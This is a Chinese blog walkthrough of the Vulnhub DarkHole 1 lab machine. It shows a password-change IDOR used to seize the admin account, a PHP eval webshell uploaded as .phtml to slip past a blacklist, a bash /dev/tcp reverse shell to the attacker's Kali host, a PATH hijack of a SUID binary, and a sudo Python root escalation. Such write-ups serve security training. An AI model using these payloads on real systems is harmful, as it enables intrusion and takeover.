Vulnhub之DARKHOLE: 1渗透测试

灰太狼 2023-10-06 20:44 33阅读 0赞

#### 目录 ####

*   *  1、靶机概述
     *  2、信息收集
     *  3、越权操作
     *  4、文件上传获取shell
     *  5、反弹shell至kali
     *  6、获取john用户shell
     *  7、获取root权限

### 1、靶机概述 ###

Description  
Difficulty: Easy

It’s a box for beginners, but not easy, Good Luck

Hint: Don’t waste your time For Brute-Force  
链接: [靶机下载地址][Link 1].  
KALI：192.168.110.128  
靶机：192.168.110.136

### 2、信息收集 ###

首先把靶机的IP给扫出来  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16]  
接着扫描一波端口和服务  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]  
靶机开启22和80端口，毫无疑问，先访问一下80端口，显示为一个站点。  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]  
查看页面和审计页面源码，并没有发现关键信息。  
点击login，进入登录页面  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 3]  
靶机描述中已经告诉我们不要使用暴力破解，不过可以注册一个账号。点击sign up now，然后注册一个账号(test01:123456)。

注册成功后，登录进去系统。  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 4]  
仅有更新个人信息和密码功能。

### 3、越权操作 ###

更新一下密码，并使用BP抓包。  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 5]  
尝试是否存在越权操作漏洞，修改参数id=1  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 6]  
事实证明，存在越权操作漏洞，且我们已经修改了id=1的账户（admin）的密码为111111。

使用管理员账户（admin:111111）登录系统，多了一个文件上传功能。  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 7]

### 4、文件上传获取shell ###

首先上传一个php文件，内容为

<?php @eval($_POST[cmd]);?)>

但是报错了，猜测做了黑名单检测。  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_14_color_FFFFFF_t_70_g_se_x_16]  
将后缀名改为.phtml，再次上传，上传成功，且暴露了上传路径。  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 8]  
使用蚁剑连接，获取到shell  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 9]

### 5、反弹shell至kali ###

下一步，我们反弹shell至kali  
新建文件xxx.sh，并赋予执行权限，内容为

#!/bin/bash
    bash -i >& /dev/tcp/192.168.110.128/7788 0>&1

kali上开启nc监听，在蚁剑终端执行xxx.sh，反弹shell成功。  
![在这里插入图片描述][65372fe1a40b437094dcc8261430c073.png]  
目前，我们获得的权限还比较低，下一步，开始提权

查看/etc/passwd，可知，我们要先提权到john或darkhole  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 10]  
在/var/www/html/config目录下存在数据库连接文件  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 11]

在/home/john目录下发现toto二进制文件具有s权限  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 12]  
这个toto文件是"id"的副本文件，运行发现toto文件的结果是用john的身份执行了id命令  
![在这里插入图片描述][b14c69ede5574c4d810751b6e23faabb.png]

### 6、获取john用户shell ###

我们可以尝试利用这个特性，在本地编辑新的id文件，写入/bin/bash，给执行权限。然后将文件路径写入到原有环境变量前（从前往后顺序匹配），这样使用id命令时就会优先匹配此路径下的id文件，运行toto文件使用john身份调用id命令时就会获得shell

echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH

![在这里插入图片描述][3af1569d472641fda27ab7d1d9c7ee4b.png]  
在user.txt中找到flag，在password中找到密码root123  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 13]  
登录john账户  
![在这里插入图片描述][watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 14]

### 7、获取root权限 ###

下一步，就是提权到root，首先搜一下具有sodo权限的命令  
![在这里插入图片描述][d3af770449e7442996e64a169f4c8ee4.png]  
用户可以编辑并执行root权限的python 脚本。

那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限了

echo 'import os;os.system("/bin/bash")' > file.py
    sudo python3 /home/john/file.py

![在这里插入图片描述][a8de78e22be346f6ade6a31c2a597200.png]

[Link 1]: https://www.vulnhub.com/entry/darkhole-1,724/
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16]: https://img-blog.csdnimg.cn/6d9107ead7c749deb7dd042c01e6c69a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]: https://img-blog.csdnimg.cn/0341c8371e78463c99131dec490ef2e8.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]: https://img-blog.csdnimg.cn/039fc854c36641eea3b3aca18048fdef.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 3]: https://img-blog.csdnimg.cn/6ff9a9fd5903450aa91b25d6881dc984.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 4]: https://img-blog.csdnimg.cn/86e06de15a034d26aa0c6053ab112408.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 5]: https://img-blog.csdnimg.cn/5a1ef26f36da40a4b1cf9647e6f612aa.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 6]: https://img-blog.csdnimg.cn/3e8e8eb0582b46ffaeecbfb957fc27ed.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 7]: https://img-blog.csdnimg.cn/5a80f28ff7d44c30ae3d45a8d804ec47.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_14_color_FFFFFF_t_70_g_se_x_16]: https://img-blog.csdnimg.cn/e7c0bb38872c4e28b0769d6b1a112a17.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_14,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 8]: https://img-blog.csdnimg.cn/a02e52654e8a45a98da1be56e0475bfe.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 9]: https://img-blog.csdnimg.cn/748be7ce6ff84de0a16b012405739812.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[65372fe1a40b437094dcc8261430c073.png]: https://img-blog.csdnimg.cn/65372fe1a40b437094dcc8261430c073.png
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 10]: https://img-blog.csdnimg.cn/f6416de1364a4bdd9e6170093056262b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 11]: https://img-blog.csdnimg.cn/8c409784e64846fcac8fc1d64506782c.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 12]: https://img-blog.csdnimg.cn/5951103aef4d493ba14f9684d7befac5.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[b14c69ede5574c4d810751b6e23faabb.png]: https://img-blog.csdnimg.cn/b14c69ede5574c4d810751b6e23faabb.png
[3af1569d472641fda27ab7d1d9c7ee4b.png]: https://img-blog.csdnimg.cn/3af1569d472641fda27ab7d1d9c7ee4b.png
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 13]: https://img-blog.csdnimg.cn/8f7cd7bbf33240fe839eaa0c27f04788.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_d3F5LXplbmhlaQ_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 14]: https://img-blog.csdnimg.cn/dc3ee48d6ae14d66ab4b9b2e8a328d88.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[d3af770449e7442996e64a169f4c8ee4.png]: https://img-blog.csdnimg.cn/d3af770449e7442996e64a169f4c8ee4.png
[a8de78e22be346f6ade6a31c2a597200.png]: https://img-blog.csdnimg.cn/a8de78e22be346f6ade6a31c2a597200.png